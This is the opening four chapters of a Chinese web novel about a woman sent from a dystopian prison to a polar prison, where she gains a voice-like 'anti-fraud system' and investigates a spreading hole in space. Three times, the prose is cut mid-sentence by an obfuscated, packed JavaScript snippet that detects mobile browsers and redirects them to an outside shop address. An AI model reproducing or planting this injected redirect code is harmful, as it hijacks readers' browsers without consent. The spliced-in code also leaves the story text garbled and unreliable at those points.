《我靠反诈系统在废土世界封神》 1. 好像被骗了 “霍无忧,156岁,2132年因拒绝生育被判无期徒刑,目前已在首都监狱服刑50年。” 审讯室内,坐在霍无忧面前的执行官带着黑色的皮质手套,一边翻看霍无忧的档案,一边用奇异的目光打量这个看起来只有三十多岁的女人。 “拒绝生育是重罪,很多女人都试图去孤儿院收养残次品逃过罪责,你倒是老实,没去过孤儿院,也没动过领养的心思。” 执行官挑了挑眉,没得到霍无忧的回答,又自顾自地说:“知道我今天为什么特地要把你调出来吗?” 霍无忧依旧没答话,什么原因让她来审讯室并不重要。 重要的是,她可以在这里吃到监狱里吃不到的菠萝包。 “上面有人给了你一个将功赎罪的机会,”霍无忧不回答,执行官也不生气,他贴心地给霍无忧倒了一杯热牛奶,“虽然我并不认为这是恩赐,但你应该很想离开这个监狱。” 霍无忧随口“嗯”了一声,满不在乎地说:“我还要新的菠萝包。” 在监狱能吃到食物的机会不多,典狱长只会像赶猪猡一样把她们集中到一个地方,挨个挨个注射营养剂。 就像给猪注水增加重量,以卖出更高的加钱。 “难道你一点也不想出去?”执行官有些生气地问。 “想啊。”霍无忧一边把新的菠萝包往嘴里塞,一边保持体面地用卫生纸擦去嘴角的面包屑,那句“想啊”仿佛只是她大发慈悲的一点敷衍。 执行官:…… “上面已经看过你的档案了,在服刑之前,你是生物学领域的高材生,还曾经在墓山的黑山羊研究院当教授,很厉害的经历。”执行官并不自愿地夸赞道。 “你应该觉得幸运,你有一个很好的老师,她向上面推荐了你。” “只要你能完成这个任务,往后金钱,权势,你要什么就有什么,文件里详细写了上面开给你的报酬,你有一整晚的时间考虑要不要接受。” 执行官把手里这个“烫手的山芋”甩到霍无忧面前,“当然你也可以拒绝,毕竟我们是民主自由的联盟。” 文件“啪”一下飞过来把霍无忧的热牛奶打翻,玻璃杯碎了一地,牛奶沾了几滴在她的裤腿和皮鞋上。 这大概是执行官的报复,从他把霍无忧从监狱里提出来开始,霍无忧就没有正眼看过他。 不过,执行官并不是小气的人,他只是期待着霍无忧能有除了冷静,沉默之外的情绪。 木头是听不懂人说话的。 一阵长久的沉默,霍无忧看向自己洗到泛黄的白囚服,又看向自己穿到抛光的皮鞋,她并不生气,甚至情绪堪称稳定:“我需要一套新的衣服,一双新的皮鞋,以及,您能再给我倒一杯热牛奶吗?” 执行官:…… 奇怪。 实在是太奇怪了。 执行官宋凛从来没有遇见这么奇怪的女人。 一个被判无期徒刑的囚犯,在面对“离开监狱”这种诱惑的时候居然可以面不改色,甚至是毫不在意地说“我还要一杯热牛奶”这种无关紧要的话。 就好像能不能离开监狱,对她来说并不重要。 被判无期徒刑的囚犯,只要不争取不表现不减刑,就会永远待在一个封闭的地方,永远重复做一些手工工作。 踩缝纫机做衣服,做玩偶,或者是洗衣服,刷厕所,时不时被上面的人拉过去上思想政治课。 课程的内容都是如何改过自新,从坏人变成好人。上完课,每周都要写总结报告,以确保自己有改过自新的心思。 日复一日,年复一年。 科技已然实现长生,只要不出意外,人就能一直活着,这种环境下,人就算真的变好了,大概率也会疯掉。 所以被关进监狱的囚犯都会用尽手段,争取离开。 但霍无忧不一样。 宋凛在来之前,特意去找过首都监狱的典狱长,典狱长矜矜业业在监狱守了五十多年,他对霍无忧印象很深。 “想出去的人,在监狱里任劳任怨工作几十年,再怎么说,都能攒够功劳或者贡献点出去了。霍无忧也是其中一个,她很早就拿满了兑换自由的贡献点,可她不愿意出去。” 回忆起这个奇怪的女人时,典狱长长叹一口气:“我问霍无忧,她只说,外面的世界和监狱又能有什么差别?世界处处是监狱,不过就是从一个监狱去到另一个监狱的区别。” “我想着,外面那么自由,怎么会跟这个古怪的监狱一样?” “但她就是留在了这里,而且还帮了我不少忙,我却并不觉得感激,因为这样的特立独行的人,一定是会成为祸害的。” 典狱长的提醒还回荡在宋凛耳畔,他拿了套新的工作装回到审讯室,霍无忧脸上依旧没什么表情。 有没有一种可能,霍无忧不是特立独行,而是已经疯了? 有些人疯了之后就会说一些看似深奥实则愚蠢的大道理,顺便做一些愚蠢的事。 宋凛不知道,宋凛的任务只是让霍无忧在文件上签字,上面没有告诉他多余的信息。 他拿的是正常上班族会穿的白衬衫和黑西裤。 囚服不保暖,现在又是冬天,监狱里没有保暖的机器,很多犯人在寒冬来临时,都会冻死在这里。 上面说了,尽量满足霍无忧提出的条件。 霍无忧接过衣服,道了声谢,宋凛正要开口问她看过文件的内容没有,就听到她冷不丁来了一句:“你想看我换衣服?” 宋凛猛地顿了一下,在霍无忧下一次开口前,他迅速开门关门一气呵成,把审讯室内的私人空间完全留给了霍无忧,还贴心地叫人把监视设备给关了。 过了好一会儿,他才敲门,轻咳一声问:“我可以进来了吗?” “可以。” 得到霍无忧的应允,宋凛才小心翼翼地推门进去,霍无忧换上了新的衣服,旧的囚服被她叠得整整齐齐放在了脚边。 “你考虑好了吗?”宋凛一有机会就要提起这事,这是他的任务。 霍无忧看着他,忽然笑了一下:“我的热牛奶,你还没送过来。” 宋凛:…… 忍住,宋凛,上面说了,要尽可能满足霍无忧的要求,这个人吃软不吃硬,得把她哄着。 宋凛深吸一口气,硬着头皮又给霍无忧倒了一杯热牛奶。 霍无忧道了声谢,她倒比宋凛接触过的其他犯人都有礼貌。 “所以你考虑好了吗?”宋凛用可怜兮兮的眼神看着她。 看在他这么殷勤又这么贴心的份上,这个霍无忧最好能马上签字,宋凛也好早点回去睡觉。 联盟总部的工作压力可是很大的。 但过了很久,霍无忧依旧没有回答,她就着热牛奶,撕开新的菠萝包,慢斯条理地吃起来。 宋凛坐在她面前,一眨不眨地盯着她。 霍无忧仍旧没有回答。 直到天快亮了,宋凛红着一双眼睛,疲惫不堪地,不知道第多少次问霍无忧:“你考虑好了吗?” 他就差跪下来求霍无忧签字了。 但他并不知道文件里的内容,在他去拿衣服的时候,霍无忧就已经看过了。 里面不是什么邀请霍无忧去做秘密研究的保密协议,也不是什么向恶魔出卖灵魂的邪恶契约。 而是一封家书。 霍无忧很早就失去了双亲,这么多年,她的其他亲人也都死了个七七八八,压根没人记得她。 这封家书却是以霍无忧母亲的口吻来写的。 这么无聊的手段,只有上面那群废物会干,或许其中还有霍无忧那位备受尊敬的老师的手笔。 霍无忧冷冷地拿着那张写满虚情假意的信,耐心看了下去。 信的内容大部分是无聊的问候,像“过得好吗”,“吃饱饭了吗”,“这些年有没有受苦”这种烂话。 直到最后一段,模仿霍无忧母亲的那个人才表露出自己的真实目的。 【这个世界破了一个洞,无忧,只有你能修好它。】 这句话下面附带了自愿申请调去极地监狱,成为所谓“弥补者”的申请书。 【破洞出现在极地监狱地下第十三层,由于极地监狱管理体系和准则独立于人类幸存者联 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342948|199444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盟,弥补者需要在到达监狱后,自行了解监狱准则,找到破洞的正确位置。】 【极地生存条件艰苦,为保证弥补者乘坐飞车到达极地后的安全,弥补者在离开人类幸存者基地前,需要通过身体改造手术,提高抗寒属性。】 【极地监狱内关押的罪犯,均为穷凶极恶永远不可能改过自新的犯人,请弥补者进入监狱后注意言行举止,保证自己的生命安全。 友情提示:在极地监狱内,人类幸存者联盟无法确切保障您的生命安全。】 【破洞修补后,人类幸存者联盟将实现弥补者所有的愿望。】 【最后,衷心祝愿每位弥补者顺利完成任务,与人类幸存者联盟一起,共建美好新家园。】 怎么看这个申请书都像那种表面上告诉员工团建去国外旅游,实则把员工卖到园区的黑心老板写的。 霍无忧在首都监狱待了五十年,在这份文件上签名,也不过是从首都监狱换到极地监狱。 看起来没什么差别,但霍无忧一直待在首都监狱不出去,就是为了这一天,上面的人能亲自请她出去。 她等这一天已经很久了。 在宋凛回来之前,霍无忧已经在申请书最下面的那一栏签上了自己的大名。 宋凛毫不知情,霍无忧也没有提醒,只是一味地索要菠萝包和热牛奶。 直到天亮的前一刻,困到不行的宋凛再一次问出了那个问题:“你考虑好了吗?” “我考虑好了,”一晚上吃了十七个菠萝包,喝了七杯热牛奶的霍无忧把早就签好名字的文件,递给宋凛,“我可以再要一个菠萝包吗?” 宋凛眼睁睁看着霍无忧翻开那份文件,不知道什么时候,那女人已经在上面签好字了。 宋凛:…… 霍无忧绝对是故意的。宋凛咬了咬牙,他现在只想把霍无忧给打成菠萝包。 好在上面的任务是完成了。 身体改造手术就安排在早晨六点,宋凛一把文件送上去,上面就派人给霍无忧打了麻药,送到手术室,好像生怕她反悔。 做完手术,还没等霍无忧完全清醒,她就又被送上了去往极地的飞车。 总之,霍无忧睡了一觉,醒来就已经套上了防护服,被开飞车的女人一脚踢下飞车。 冰冷的暴风雪一下将霍无忧席卷。 “前面太危险了,车过不去,我就送你到这里!你自己徒步过去吧!” 开车的女人说完,猛地把车门关上,最后那句“再见”也弥散在夹杂暴雪的狂风之中。 好像生怕出什么意外就留在这里了一样。 霍无忧揉了下疼得有点发麻的脑袋,转过身,继续往前。 极地监狱在极地最深处,联盟那边好在还有点良心,霍无忧穿的防护服有定位系统,跟着导航就能走到极地监狱。 但是—— 这里离目的地居然还有30公里! 霍无忧深吸一口气,周围是无边的黑暗,只有防护服内的灯光还亮着,勉强让她看清前方一米的景象。 她运气不好,来的时候,这边刚好是极夜期。 防护服内的系统作出了预测,今年的极夜要持续192天,而今天是整个极地步入极夜的第一天。 白天是盼不到了,只能盼快点走完30公里。 正常人在正常的自然环境下以正常速度行走,也至少要8个小时才能完成,更不必说,霍无忧现在还在气候极端恶劣的极地。 她预估中最理想的情况是在13小时内走完全程,最好还能和极地监狱的负责人接头。 防护服内有营养供给,勉强能在完全脱力之后维持一个小时的营养输送。 按照系统的评估,霍无忧走得再慢一点,也至少要在15个小时以内到达极地监狱,否则就会死在这冰天雪地里。 怎么感觉被坑了呢? 霍无忧皱了下眉。 下一秒,她的脑内响起“叮”的一声。 【检测到宿主反诈骗意识极弱,已自动绑定反诈系统。】 【宿主您好,我是反诈系统31号,很高兴认识您。】 2. 反诈系统 反诈系统。 统如其名,是个可以帮助受骗的宿主预防骗局,打破骗局,甚至对操纵骗局的人复仇的系统。 虽然它也叫XX系统,但它和现在大陆上人人都有,与旧世纪手机功能差不太多的脑机系统并无关联,甚至于,它还可以逃过脑机系统的核查,就算绑定的宿主特意向脑机系统说起它,脑机系统也无法记住它。 反诈系统就像一个世界运行中出现的bug,霍无忧试探了它好几下,才逐渐接受自己的脑子里多了一个东西,她还没有办法拔除。 但她仍旧坚信,31号系统出现在她脑海里并非偶然,毕竟在来到极地之前,联盟那群上层还为她安排了一个身体改造手术。 霍无忧并不知道联盟对她的身体做了什么,她只知道,她要平安地离开首都监狱,就必须用这样的方式。 所有人都觉得她古怪,以为她赚够了贡献点却不出去是有病,只有她自己知道她到底是因为什么罪名被迫进入的首都监狱。 拒绝生育只是一个可笑的由头,女性还没能为自己的子宫争取到它应该享有的权利,当然,而霍无忧也是女性的一员。 如果她真的用贡献点换来了自己的自由,那么在外面等待她的又是什么? 尚且不说把霍无忧送进首都监狱的人还在外面逍遥,就现在的人类幸存者联盟强迫妇女进行生育繁衍,并贯之以“为了文明存续”的,所谓的正当由头,这个行为来看,霍无忧作为一个女人,就算在监狱也总比在外面强。 人类幸存者联盟在保护罪犯的权益上,总是做得比保护女性的权益更好。 或者说,在人类幸存者联盟之前,整个人类文明就一直是这样。 八十年前的那场黑雨结束了上一个人类文明刚刚起步的女性运动,新文明则延续了旧文明的糟粕,用“人类的明日”这样的谎言,哄骗女性自愿奉献自己的身体。 于是,人类幸存者联盟丑恶的嘴脸在与女性争夺子宫权力的方方面面,体现得淋漓尽致,而霍无忧只不过是这场斗争中的一个最平凡的牺牲者。 现在,她站在极地的风雪中,听着脑袋里那个女生的声音为她讲述所谓的反诈系统到底是怎么一回事。 霍无忧听了一会儿,打断了系统31号。 “我只有一个问题,你作为反诈系统能干什么?”霍无忧眯了下眼睛。 世界上所有的关系都可以用“利益纠葛”四个字概括,反诈系统选择霍无忧,当然也是因为看中了霍无忧能为它提供的什么利益。 “我能判断你当前所处的骗局环境,辨别最有利于你的一种选择。”31号系统回答道。 “判断?选择?”霍无忧冷笑一声:“你告诉我,我哪里有选择?” “等到关键时刻你就会知道。”31号故作神秘地说。 霍无忧冷笑一声反问31号:“要怎么样才能算是关键时刻?难道现在我还不在关键时刻吗?我都要被冻死了。” “当然不在,霍无忧女士,请你冷静一点,”31号平静地说,它的声音并不像脑机系统那样是毫无语调地说机械音,而是像人一样拥有感情的声音,“你只需要知道,我是来帮你的。” “你知道我的名字?”霍无忧挑眉。 “当然,”31号顿了一下,才继续说:“我们是合作伙伴,不知道你的名字,我又怎么能直接绑定你?” “你需要知道一个人的名字才能绑定?”霍无忧继续追问。 “前提是真名。”31号回答。 它这话说得诡异,反让霍无忧反倒好奇起来,它到底是个什么来头。 它是由谁创造的?又是由谁投放到霍无忧脑子里的?首都的利益纠葛错综复杂,霍无忧根本查不到究竟是谁要害她。 或许也不是要害她。 首都究竟想让霍无忧做什么,她还没搞清楚。 “天下没有白费的午餐,你要帮我,那么,你又想从我这里得到什么?”霍无忧眯了下眼睛。 31号并不直接回答,而是为霍无忧全面地展示了反诈系统的面板。 面板的内容通过系统,绕过脑机,直接投射在了霍无忧的视网膜上。 无数条由系统匿名用户发布的任务,一条一条不断跳进霍无忧眼底,紧跟着,一条条“售罄”的字样又出现在任务条后面。 这些任务大部分由系统所在的官方势力发布,剩下的部分就是所有拥有系统的用户发布的个体任务。 这样来看,拥有反诈系统的人还真不少。 完成系统内发布任务可以获得积分,积分可以用于兑换系统商城的道具,譬如吃下肚就能复活死人的胶囊,譬如只要触碰就能斩断一切锋利物品的剑,当然,积分也可以累计参与积分玩家排行榜。 是的,玩家。 系统把骗局当做一场游戏,陷入骗局的人,自然就成了玩家。 而系统内每年玩家积分榜累计获得第一名的玩家,则可以获得终极奖励——与神祇见面。 神祇会视线每一个见到祂们的人的愿望。 霍无忧的视线怔怔落在“神祇”的字样上,她愣了许久。 因为穿了防护服,极地的寒风吹不到霍无忧的脸上,但在这一刻,她真切地感受到了一丝彻骨的寒冷。 “系统内的任务都与骗局有关,当然,霍无忧女士,您现在也在一场前所未有的大骗局中。”31号出声唤回了霍无忧的思绪。 “是吗?”系统面板已经收回,霍无忧在路上耽误了十分钟,现在她该往前了。 “如果不是因为条件符合,你是不能在这样的情况下见到我的,”31继续说:“霍无忧女士,请您为了揭穿骗局,感受这个世界最真实的一面努力吧。” “以及,我还要提醒你一句,只有被骗的人才能绑定反诈系统。”31号说。 霍无忧没有再回答,她现在最重要的任务是进入极地监狱,至少先要保住自己这条小命。 所以她必须开始往前走了。 “你大可以在主页大厅接受一个小任务,在商店里兑换一个可以取暖的道具再继续前进。”31号不理解霍无忧为什么还不懂它给霍无忧展示系统面板的动机,就是要她成为反诈系统用户的一员。 成为一个玩家。 霍无忧依旧没有回答,不到万不得已的时候,她不会用这个什么反诈系统的。 这个系统的出现太过诡异,霍无忧不相信这个世界上会有天上掉馅饼的好事,她不是十几岁的小姑娘,还会认为这个世界的造物主,所谓的命运会站在自己这边。 极地的风雪几乎要将霍无忧全部掩埋,防护服可以最大程度地让她的行动不受极端天气的阻碍,以至于霍无忧依照脑机的导航指引,在风雪中徒步了将近五个小时,她才觉得自己有些口渴。 31号在此期间没有再说话,它对霍无忧的行动十分感兴趣,就好像它很早以前就认识霍无忧一样。 极地监狱坐落于极地最深处的,一个巨大的透明圆盘之下,联盟的人在这里建一个十八层的监狱,用以惩戒罪无可赦,不思悔改的犯人们。 当然,不仅仅是极地监狱,几乎所有极地的建筑都建在地下,霍无忧有时也会想,难不成这里的人都是鼹鼠成精?不然她们怎么能容忍自己长久以来都待在深不见底的土地里? 徒步十个小时后,霍无忧只觉得她的脚已经失去所有的知觉,她依靠思虑联盟总部给她的那张白纸黑字的“家书”让自己保持清醒。 又过了两个小时,霍无忧才终于有些撑不住了,跪倒在地。 距离极地监狱还有将近十公里,霍无忧不能停下来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342949|199444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 31号在这十二个小时内没有再说任何话,像是消失了一样,但霍无忧知道它还在,不知道为什么,霍无忧总能感受到自己的脑子里多长了什么东西。 “霍无忧女士,您的身体机能只能支撑您走到这里,继续下去,您的身体迟早会到达极限。”脑机系统Z平静地提醒着霍无忧。 当然,脑机系统Z也不可能用担忧的语气对霍无忧说话,机器是没有情感的。 它是纯粹的机器,和反诈系统31号不一样。 “我会死吗?”霍无忧只问了这一个问题。 脑机系统Z回答她说:“不会,您只会昏迷过去。” 那就对了。 霍无忧对自己身体的期待,从始至终只有一个——不死就行。 防护服持续不断地在运行保暖功能,为霍无忧输送最后一点营养液。 霍无忧知道这件衣服已经弹尽粮绝,很快它就不得不因为感受到霍无忧的生命体征下降而启动备用能源。 当然,霍无忧最终还是没有晕过去。 她用尽自己最后一口气敲响了极地监狱的大门。 一个巨大的,透明的圆盘。 而就在她感受到极地监狱里的温暖的瞬间,她眼前一黑,倒在了来接待她的典狱长面前。 彻底昏迷之前,霍无忧只记得自己闻到了一股十分清新的味道。 从极地监狱的最深处传来的,一股苹果的味道。 * 寒冷。 如坠冰窟的寒冷席卷霍无忧全身。 梦境。 梦中的霍无忧穿着修女服,站在一座巨大的拉弥亚神像前,双手合十,唱着祝祷的赞歌。 拉弥亚是所有幸存者都会信仰的神明。 但绝对不会是霍无忧所信仰的。 她正疑惑着,紧跟着,一个男人拍了一下霍无忧的肩膀。 梦便醒了。 霍无忧睁眼看见的,就是一张无限放大的,女人的脸。 “她醒了。”女人原本是弯着腰凑近在看霍无忧的脸,瞧见霍无忧醒了过来,又直起身对把霍无忧送来的典狱长说话。 典狱长靠在门边抽烟,看见霍无忧醒过来,随手掐灭烟,走进医疗室,“首都那边的消息我接收到了,我以后就是你的直属上司。” 救治霍无忧的女人是整个极地监狱唯一的医生,她穿着白大褂,清瘦得像是有半个月没有进食一样,但她长得很高。 霍无忧目测她有一米八。 典狱长还要更高一些,她的身体十分健硕,就算穿着橄榄色的军装,霍无忧也能隐隐约约窥见她练得极好的肱二头肌。 “所以那边就只派了你一个人过来?”典狱长上下扫了一眼霍无忧,像是极其看不起霍无忧的样子。 “现目前来看是这样,我也不清楚我有没有同伴。”霍无忧是真的不知道。 不过,通过典狱长的话,霍无忧认为,极地和首都的关系似乎不算好。 典狱长冷笑一声,“想来也是,首都那边的人甚至不愿意把你送到目的地,还要你徒步十几个小时自己找到极地监狱,不过我也能理解她们为什么不愿意送佛送到西,极地监狱本来就是被诅咒的地方。” 气氛变得有些冷清,典狱长知道自己或许说错话了,于是她转移了话题:“要先去看看那个破洞吗?或许你在看见那个洞之后,你也能理解首都那边的老师们了。” “明天去看不行吗?她要是被吓到了,还要到我这儿来一趟。”医生提出了一个更合理的建议。 霍无忧垂眸,过了好一会儿她又忽然抬起头:“不用,我现在就要去看那个洞。” 霍无忧下定决心,一定要去看看那个从人类生活的空间中突然破开的黑洞。 那个拯救了霍无忧的黑洞。 3. 破洞 说是一个洞,但实际上,这个洞已经有整整一扇门那么大了。 “其实这个洞三十年前就出现了,”典狱长嘴里叼着一杆没有被点燃的香烟,她似乎执着于让自己的嘴巴含着什么才能安心一些,“本来它只有一个电灯开关的大小,直到半个月前,它忽然开始扩大,到今天,它才长到了你现在看到的样子。” “你在这里待了三十年?”霍无忧状似无意地问了一句。 “准确来说是八十年,”典狱长是个直性子,霍无忧问什么,她也不隐瞒,直接回答什么:“人类幸存者联盟存在了多久,我就在极地监狱待了多久。” 霍无忧“哦”了一声,她有些出乎意料的平静:“你们有探索过里面的世界吗?” “探索过,”典狱长叹了口气,“但进去的人再也没出来过,不知道是生是死。” 霍无忧顿了一下,“首都那边的意思是要把这个洞缝补起来。” “说得轻巧,这洞可没有那群草包想得那么简单。”典狱长上前一步,抬手触碰了一下洞的边缘,下一秒,霍无忧就看见典狱长的手上多了一团黑色的,像是蝌蚪一样,却比蝌蚪更大的东西在她指尖活蹦乱跳。 典狱长向霍无忧解释道:“就这个玩意,有传染病。” 霍无忧瞳孔骤缩,她下意识后退一步,却见典狱长捞起自己的衣袖,露出已经被病毒蚕食的身体,一大片漆黑的圆洞在典狱长的身体上蔓延。 “看来你还真是什么都不知道,可怜的小女孩,被首都那群人骗到这里来送死,”典狱长嘲讽一笑,又放下自己的衣袖,“不过不用害怕,只要是生活在极地监狱的人,或早或晚都会感染这个病毒。” 这样不是更害怕了吗? 霍无忧不懂。 “我已经把感染者集中到了地下十八层,还没有出现感染症状的人照旧在原来的地方生活,为了极地监狱能够尽可能长久地维持现在这样的平静,我们没有发布关于传染病的公告,也没有向这里的囚犯透露任何有关这个黑洞的任何信息,整个十三层现在都被封锁了。” 典狱长显然做了万全的准备,虽然这样有些残忍,但为了保全大部分人的利益,霍无忧能够理解。 只要不知道就可以当做什么事也没有发生。 “感染病毒除了身体上出现黑洞,还有别的症状吗?”霍无忧问。 “没有,”典狱长顿了一下,“这是最奇怪的地方,这个病不会对人体造成任何伤害,我让医生仔仔细细地检查过,不会有伤害。” 这也太奇怪了。 病毒存在的目的不就是残害吗?这个病毒既然不对躯体造成损伤,那它存在的意义是什么? 还是说它根本就不是病毒? “我想去看看那些感染者。”霍无忧思索着开口,她必须完成首都那边的任务。 这传染病既然和这黑洞有关系,那她就一定绕不开那些感染者。 更何况,任何传染病不可能没有传染源和传播途径就能直接到达人体。 传染源霍无忧可以确定就是这个黑洞,要制止极地监狱彻底沦陷,就必须找到传染病的传染途径。 至少要尽可能少地减少感染者的数量。 这传染病不像是普通的病,霍无忧有种预感,这病会害死这个世界。 在她查清楚之前,她姑且赞同典狱长的用词,称其为一种新型传染病。 而霍无忧也只能祈祷这个病不是依靠空气传播。 因为极地监狱深根地下,这里的氧气,空气都是有工作人员制作控制的,如果真的是空气传播,会很麻烦。 “可以是可以,”典狱长再次上下打量了霍无忧一眼,“但你看起来脸色很不好,而且你懂医学吗?我们这里的医生都看不懂那些人的病,你能看得懂?” “总要去看看,才能知道自己要对付的敌人是怎么样的,不是吗?”霍无忧笑了一下。 典狱长眯起眼睛看向她,最后冷哼一声,“行,你跟我来吧。” 霍无忧转身跟在典狱长身后,离开了这片已经被警戒线圈禁起来的房间。 极地监狱一共十八层,一到七层都是关押犯人的宿舍,典狱长按照危险等级把犯人分散在七个楼层里,以免总是发生重大伤亡,八层以下是一些活动场所以及典狱长和狱警的办公室。 十六层以下的区域都是关押重大罪犯的人,只是因为和平的时间过了太久,那里已经很久没有人去了。 而这个黑洞出现的地点是在第十三层,所有囚犯可以自由活动的操场旁边,一间十分不起眼的器材室里。 典狱长用自己的工作卡刷开电梯门,这里的电梯也非常奇怪,不知道谁出的主意把电梯修建成圆盘的形状。 霍无忧站进电梯,望着典狱长的背影,她忽然反应过来,她和典狱长还没有正式认识过,于是她随便找了个由头介绍起自己:“我叫霍无忧。” “我知道,首都发过来的资料里有你的名字。”典狱长说完,整个电梯便陷入一阵长久的静默。 霍无忧扯了下嘴角,只觉得这典狱长理解能力为0,正准备再找个话题让典狱长介绍一下自己,下一秒,她就听见典狱长恍然大悟的声音: “哦对,我认识你,你好像还不认识我。” 霍无忧:…… “我叫林雯,女的。”电梯一到地下十八层,林雯便毫不客气地离开。 霍无忧心想:为什么要特意加个女的?难道我看不出来你是女的吗? 她很快跟上了林雯的步伐,生怕跟丢了。 “那个治你的医生叫温念尘,也是女的。”林雯说。 温念尘这个名字听着倒是有点熟悉,不过霍无忧一时间想不起来在哪听过,有机会的话,她或许可以单独去找温念尘。 踏进十八层的一瞬间,一股冷冽的寒风吹过霍无忧的脸颊。 “十八层的供暖系统是有点老化了吗?”霍无忧问。 极地监狱因为天气十分恶劣,这里的空气和温度都是人为制造的,为了避免某一层出现停电,系统老化或者故障的问题牵连到整个监狱,所有楼层的供暖系统和空气循环系统都是独立存在的,管控的总闸也只是起到一个提供备用能源的作用。 “没有啊,”林雯有些奇怪地回头看了霍无忧一眼,“你觉得这里很冷?” “有点。”霍无忧裹紧了自己的外套,她还穿着首都执行官宋凛给她的黑色长风衣外套,那是首都上班族的最爱穿的衣服。 她现在看起来也像个正式员工了。 “你是身体虚吧。”林雯似乎并不觉得十八层有什么冷的。 霍无忧懒得和她吵。 十八层的房间没有什么特别的装饰,一条长长的,铺满走廊地面的波点地毯让霍无忧看得有些眼花,两边是透明的玻璃房,和霍无忧在人类幸存者联盟一些研究所看见的,关押活体实验体的透明玻璃房没两样。 只是在极地监狱十八层里,现在关押着的,都是一些身体上出现了圆洞的囚犯。 “温念尘有具体给她们检查过身体数值吗?体检的基础检查和深度检查都做完了吗?关于身体上,真的一点问题都找不出来?”霍无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342950|199444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忧问。 “全都做过,你要不猜结果怎么样?”林雯卖了个小关子,她现在看起来,倒是不再像首都监狱的典狱长那样冷漠了。 霍无忧不知道她的名字的时候,只觉得这人高傲又冷血。 “不怎么样。”霍无忧接过林雯的话茬。 “我不是说了她们的身体都没有问题吗?你怎么还能猜错?”林雯回过头,朝霍无忧笑了一下,“不论温念尘怎样检查,这些人的体检结果都是一样的,身体数值一切正常。” 霍无忧挑眉。 温念尘要查这个破洞的传染病的确举步维艰。 不过,再难也得查下去,霍无忧可不是来极地监狱度假的。 也没有正常人会来监狱度假。 “最开始温念尘还以为是病毒有潜伏期,但按照生物学规律,在温念尘看来,就算有潜伏期也不该什么异常都查不出来,至少有一个数据会持续性地不一样。”林雯不懂医学和生物学,只能照猫画虎地给霍无忧粗略地讲一下她们的发现。 这时,霍无忧才看见她的耳朵上似乎别了一个什么东西。 本来霍无忧以为那应该是一杆烟,毕竟林雯嘴里就叼着一杆,林雯喜欢让自己的嘴巴里含着什么东西,但仔细一看霍无忧才发现,那是一支笔。 一只很轻的塑料笔。 “温念尘没有办法,你会有吗?”林雯问。 霍无忧没有回答,她只是忽然停下,站在某一间玻璃房外面,平静地看着里面尚且没有发疯的囚犯。 编号4042。 “她为什么一个人被关在这里。”霍无忧问林雯。 “因为她感染病毒之后总是打架,不论谁和她待在一起,谁都会在我们管不到的地方被打得鼻青脸肿,所以她就单独一间了。”林雯的回答让霍无忧有些意外。 因为编号4042长得不高,身形也有些瘦弱,看起来不像是那种会以暴制暴的人。 “我要进去看看。”霍无忧撇过头,主动向林雯发出了第一个她来到极地监狱之后的请求。 林雯“嗯”了一声,用员工卡刷卡了编号4042所在的玻璃房,又对看起来苍白无比的霍无忧说:“我会保护你。” 霍无忧笑了笑,“我相信你会是这个世界上最可靠的保镖。” 林雯听不懂霍无忧的阴阳怪气,她只看着霍无忧平静地进入了编号4042所在的房间,自己也紧跟着进去了。 听到从门口传来的动静,编号4042也终于抬起头。 她感染病毒后出现的圆洞在十分显眼的胸口。 “今天的午饭已经送过了。”4042说。 霍无忧安静地看着她,过了一会儿,霍无忧忽然来了一句:“你要吃了我吗?” “你不是午餐,”4042顿了一下,忽然露出一个意味深长的笑容:“但可以是晚餐。” 话音落后的瞬间,一个瘦长的影子在霍无忧和林雯眼前闪过。 紧跟着,不知道从哪里传来的,好像已经破烂的,八音盒发出来的,诡异的声音。 林雯有些警惕地摸向自己腰间的短/枪。 霍无忧看起来似乎并不害怕4042会对她做什么,她仔细打量4042,问:“你对那些被你打了的人做过什么?” 等了好一会儿,4042什么话都不说。 “或者,我们也可以换个问题,编号4042的囚犯。”霍无忧可以确定,她想要的答案,会在4042上有所突破。 “你从你那破碎的身体上发现了什么让你变强的东西吗?” 4. 狂欢乐园(一) 霍无忧只是觉得奇怪,4042身上的黑洞似乎和其她感染者都不一样,但霍无忧又说不出来哪里不一样。 注意到霍无忧并不礼貌的,打量的视线,编号4042终于有了点反应,她冷笑一声,“或许你说错了,这位女士,我身上的洞并没有让我的身体变得破碎,我也没有找到什么让我变强的东西并且使用,而是,这个洞本身也许就是一种让我变强的恩赐呢?” “退后。”林雯抬手将霍无忧拦在自己身后,她原以为4042要对霍无忧做什么,但她等了三分钟,4042一直没有下一步动作。 